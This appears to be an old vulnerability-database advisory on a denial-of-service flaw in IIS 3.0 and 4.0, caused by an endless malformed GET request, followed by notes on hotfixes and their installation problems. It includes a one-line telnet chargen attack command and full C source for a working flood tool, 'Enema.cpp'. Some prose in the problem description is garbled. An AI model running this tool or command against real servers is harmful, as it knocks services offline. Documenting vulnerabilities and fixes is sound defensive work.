COMMAND
IIS "GET"
SYSTEMS AFFECTED
Win systems using IIS 3.0 and 4.0 (x86 and Alpha)
PROBLEM
Following is based on MS Security Bulletin. This vulnerability
involves the HTTP GET method, which is used to obtain information
from an IIS web server. Specially-malformed GET requests can
create a denial of service situation that consumes all server
resources, causing a server to "hang." In some cases, the server
can be put back into service by stopping and restarting IIS; in
others, the server may need to be rebooted. This situation cannot
happen accidentally. The malformed GET requests must be
deliberately constructed and sent to the server. It is important
to note that this vulnerability does not allow data on the server
to be compromised, nor does it allow any privileges on it to be
usurped.
HTTP port will either reply with `Bad HTTP request', or just
silently drop connection, whatever you try to `get' from. As soon
as you send a carriage return to port 80, the connection
terminated. The request of the form `GET /AAAAAAAAAAAAAA&' is
received by IIS until you stop the `AAAA' sequence. The amazing
part is that IIS buffers all of this garbage in RAM! So, if you
start those `A's without a single space or carriage return,
they're buffered. And there's more. The amount of memory
required to buffer this request is at least two times the size of
request. And all of this memory is continuously used. That is,
when the server receives a few additional `A's Internet, it
allocates an amount of memory required to store all of the data
received before, plus the new piece, copies the old buffer and the
new piece of data to this newly allocated memory block, and then
frees the old buffer (this is just my thought, but the Perfmon
charts do show something like the memory allocated for this
garbage is accessed every portion of data is received from the Net
(i.e. from the attacker).
Well, what does this lead us to? As soon as RAM is exhausted, NT
starts to page of this memory is continuously it's paged back and
forth, taking away all enormous disk activity. If the attack goes
far enough, the ends up being completely inaccessible (starting a
console window to type "kill -f inetinfo" would take a lot of
time. What's bad about this attack? It's hard to identify, if
you don't know what you by IIS, and the IIS perfmon only way to
see it is via the netstat command, but you'll only see several
connections to port 80, of those one (which one?) is attack.
If you want to check it yourself, here's the source code (for
Windows 95/NT), that demonstrates this attack. And if you have a
UNIX host somewhere around, you can do this by typing:
$ telnet localhost chargen | telnet your-iis-host http
Microsoft wishes to acknowledge the contribution made by Brian
Steele and Eugene Kalinin. Exploit follows:
/******************************************************************************\
* Enema.cpp:
* Demonstration of a very dumb DoS attack to Microsoft IIS server.
* This program sends a GET request in form GET /AAAAAAAAAAAAAAAAAAAAAAAAAAA
* The sequence of 'A's is infinite, causing Microsoft IIS to allocate up all
* of the available memory.
*
* The same result may be accomplished in UNIX by issuing the following command:
* $ telnet localhost chargen | telnet your-iis-host http
*
* Copyright (C) 1998 Eugene Kalinin.
* All rights reserved.
*
* Based in part on the Microsoft Source Code Samples.
* Copyright 1996-1997 Microsoft Corporation.
* All rights reserved.
*
\******************************************************************************/
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys\timeb.h>
#define DEFAULT_PORT 80
void Usage(char *progname) {
fprintf(stderr,"IISAttack - a very dumb attack to Microsoft Internet Information Server.\n");
fprintf(stderr,"Copyright (C) 1998 Eugene Kalinin. All rights reserved.\n");
fprintf(stderr,"\n");
fprintf(stderr,"Usage\n%s -n [server] -p [port]\n", progname);
fprintf(stderr,"Where:\n");
fprintf(stderr,"\tserver is the IP address or name of server\n");
fprintf(stderr,"\tport is the port a web server is listening on\n");
fprintf(stderr," Hit Ctrl+Break to terminate\n");
fprintf(stderr,"Defaults are localhost and 80\n");
WSACleanup();
exit(1);
}
int main(int argc, char **argv) {
char Buffer[1024];
char *server_name= "127.0.0.1";
unsigned short port = DEFAULT_PORT;
int retval, loopflag=0;
int i, loopcount, maxloop=-1;
unsigned int addr;
int socket_type = SOCK_STREAM;
struct sockaddr_in server;
struct hostent *hp;
WSADATA wsaData;
SOCKET conn_socket;
struct _timeb time0, time1, time[10];
double elapsed, last10;
int timecount;
int lastlen = 0;
if (argc >1) {
for(i=1;i <argc;i++) {
if ( (argv[i][0] == '-') || (argv[i][0] == '/') ) {
switch(tolower(argv[i][1])) {
case 'n':
server_name = argv[++i];
break;
case 'p':
port = atoi(argv[++i]);
break;
default:
Usage(argv[0]);
break;
}
}
else
Usage(argv[0]);
}
}
if (port == 0){
Usage(argv[0]);
}
printf("Starting up...\n");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fprintf(stderr,"WSAStartup failed with error %d\n",WSAGetLastError());
WSACleanup();
return -1;
}
memset(&server,0,sizeof(server));
if (isalpha(server_name[0])) { /* server address is a name */
hp = gethostbyname(server_name);
memcpy(&(server.sin_addr), hp->h_addr, hp->h_length);
server.sin_family = hp->h_addrtype;
}
else { /* Convert nnn.nnn address to a usable one */
addr = inet_addr(server_name);
memcpy(&(server.sin_addr), &addr, sizeof(IN_ADDR));
server.sin_family = AF_INET;
}
server.sin_port = htons(port);
conn_socket = socket(AF_INET,socket_type,0); /* Open a socket */
if (conn_socket <0 ) {
fprintf(stderr,"Error Opening socket: Error %d\n",
WSAGetLastError());
WSACleanup();
return -1;
}
printf("Connecting to: %s\n", server_name);
if (connect(conn_socket,(struct sockaddr*)&server,sizeof(server))
== SOCKET_ERROR) {
fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());
WSACleanup();
return -1;
}
// cook up a string to send
//
wsprintf(Buffer, "GET /");
retval = send(conn_socket,Buffer,sizeof(Buffer),0);
if (retval == SOCKET_ERROR) {
fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
WSACleanup();
return -1;
}
printf("Header sent. Starting to send data. Hit Ctrl+Break to terminate attack.\n");
loopcount = 0;
memset(Buffer, 'A', sizeof(Buffer));
printf("Data sent:\n");
_ftime(&time0);
timecount = 0;
for(i=0; i<10; i++)
_ftime(time+i);
while(1) {
loopcount++;
timecount++;
timecount %= 10;
retval = send(conn_socket,Buffer,sizeof(Buffer),0);
if (retval == SOCKET_ERROR) {
fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
WSACleanup();
return -1;
}
_ftime(&time1);
if (lastlen>0)
for(i=0; i<lastlen; i++)
printf("\x08");
elapsed = (time1.time + time1.millitm/1000.) - (time0.time - time0.millitm/1000.);
last10 = (time1.time + time1.millitm/1000.) - (time[timecount].time - time[timecount].millitm/1000.);
memcpy(time+timecount, &time1, sizeof(_timeb));
lastlen = printf("%.3f MB, %6d Bytes/sec average, %6d Bytes/sec current ", float(float(loopcount) * sizeof(Buffer)/(1024.*1024.)), long(1024.*loopcount/elapsed), long(10240./last10));
}
closesocket(conn_socket);
WSACleanup();
return 0;
}
SOLUTION
Microsoft has released the following hot fixes:
- Fix for IIS 3.0 on X86 platforms:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget3i.exe
- Fix for IIS 4.0 on X86 platforms:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget4i.exe
- Fix for IIS 3.0 on Alpha platforms:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget3a.exe
- Fix for IIS 4.0 on Alpha platforms:
ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/security/Infget-fix/infget4a.exe
This fix makes a server accept about 2 MB of malicious traffic,
then drop the speed at which this request is served, upload
very low speed) about 250 KB more, and then disconnect the
attacker. Not quite a solution, but... Be aware when attempting
to apply the HotFix mentioned that it is imperative that the
following services be stopped first:
IIS Admin Service (IISADMIN)
Microsoft SMTP Service (SMTPSVC)
World Wide Web Publishing Service (W3SVC)
These are all child services of the INETINFO.EXE process. This
information was not provided in the TechNet article. Failure to
do so may result in the corruption of the active partition (System
Partition - typically the C: drive) or the Internet Information
Server 4.0 metabase. A failed metabase could result in various
problems, including an effective denial of service attack when Web
pages send a process request which is improperly formed and passed
on to INETINFO. If the drive or the metabase becomes corrupted,
it may be possible to restore the system using a backup of the
drive or the metabase, or removing and reinstalling server
applications and services such as IIS 4.0 and MSDTC. Reinstalling
server applications and services over the existing corrupted
install will fail to correct the problem they must be uninstalled
first!
For what its worth, the Hot Fix is suppose to shut down those
services above, and very well may. The problem appears when the
Hot Fix finishes its installation, again it restarts the INETINFO
process. In turn, this causes the server to fail to shut down
and/or reboot. If the problem was just as simple as forcing the
server to reboot it would not be a big problem, however, it is
speculated that in cases where multiple Virtual Web sites are
hosted on the machine; data corruption occurs during the failed
shutdown. This occured in two installations on a server hosting
multiple Virtual Webs. Data corruption does not appear to occur
when only a single Web is configured on the machine, such as a new
server installation. Microsoft confirmed that after applying
InfGET4i.exe that Windows NT fails to properly shut down and must
be forced to shut down. If you do install the INFGET4I.EXE do not
use the RESET or POWER button to shutdown your server if it fails
to shutdown and restart. The proper method for shutting down the
server at that point is to press CTRL-ALT-DEL, select LOG OFF,
re-login to the server and then press Start -> Shutdown -> Restart
If you select SHUTDOWN on the CTRL-ALT-DEL dialog box your system
may lock up completely. Use the recommended method for shutting
down the server and the amount of data corruption (if any) will be
limited.
Also, an installation of INF4GET.EXE prior to the installation of
MDAC 2.0x does not hang the system on shutdown, however,
installing MDAC 2.0x then installing INF4GET.EXE results in a
system hang on shutdown. In addition, this appears to occur
regardless of the permission settings. Though at the very least,
this will only prevent the server from shutting down, depending on
the condition of your system and the files contained on the
computer it could result in unexpected damage to the file system
which could prevent the server from booting. Prior to installing
any HotFix it is my recommendation that you create an updated
Emergency Repair Diskette, backup the IIS Metabase, as well,
ensure that you have a current backup of your server, in addition,
the tape back-up device should be attached to the server. The
secondary problem, that of the INETINFO.EXE causing a Dr. Watson
Error #4097 and unexpectedly shutting down, has been confirmed by
Microsoft. In actuality the problem is caused by a functionality
change in Windows NT/MDAC. Previous versions of MDAC seemed to
disregard the permissions associated with a user. Subsequently,
Microsoft corrected the previously unknown bug but failed to
properly reflect those changes in existing documentation (Q187506)
nor detail those changes in any new documentation. From
conversations with a Microsoft Support Engineer it appears that
Microsoft was aware of the problem with the release of MDAC 2.x,
however, failed to document it internally or externally, and
infact tabled the documenation. As of last week there still was
no person assigned to perform the documentation. The case is
officially closed by Microsoft as the problem has been determined
and Microsoft will be modifying TechNet Article Q187506 to
properly reflect the required permission settings. This currently
has not been modified. In addition, new documentation is
scheduled to be developed to identify the changes imposed by MDAC
2.0x. It's release or article number is as of this writing
unknown. (Thnx to Larry Budd for info).